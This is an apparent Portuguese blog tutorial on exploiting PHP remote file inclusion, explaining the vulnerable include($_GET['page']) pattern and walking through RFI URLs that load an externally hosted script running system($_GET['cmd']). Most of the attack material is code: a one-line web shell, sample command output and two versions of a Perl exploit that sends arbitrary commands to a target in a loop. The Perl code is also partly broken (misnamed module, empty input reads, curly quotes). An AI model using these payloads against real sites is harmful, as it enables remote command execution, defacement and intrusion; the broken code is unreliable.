Como que acontece a inclusão de arquivos remotos (RFI)?
A funçãoinclude()
do PHP é usada para incluir alguma coisa.Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.
Exemplo de página vulnerável:
include($_GET['page']);
Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.
Ex:
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif
Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:
system($_GET['cmd']);
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir
A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:
O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43
29/02/2008 22:43
29/02/2008 22:43 31 vuln.php
Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)
Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/
Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt
Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.
Exemplos:
—————————————————————————-
system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-
system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-
system($_GET['comando']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.
—————————————————————————-
Vamos construir o exploit para explorar
Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.Caso contrário, informe ao usuário sobre o erro.
#!/usr/bin/perl
if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;
Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:
system($_GET['cmd']);
então quando formos iniciar a requisição, colocaremos:
$argv_script = "&cmd=";
portanto, a página que devemos ‘visitar’ será
$pagina = $site.$page.$script.$argv_script.$comando;
Exemplo:
http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir
Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.
$resposta = get($pagina);
e mostramos a saída do servidor web,
print $resposta;
O corpo do exploit está concluído, o exploit é:
#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;
seria o mesmo que
$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];
Melhorias estéticas podem ser feitas, como por exemplo o uso de .
#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;
Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.
Méritos: Colt7r
@FIREH4CK3R
ResponderExcluir#MANDARIM#
ResponderExcluir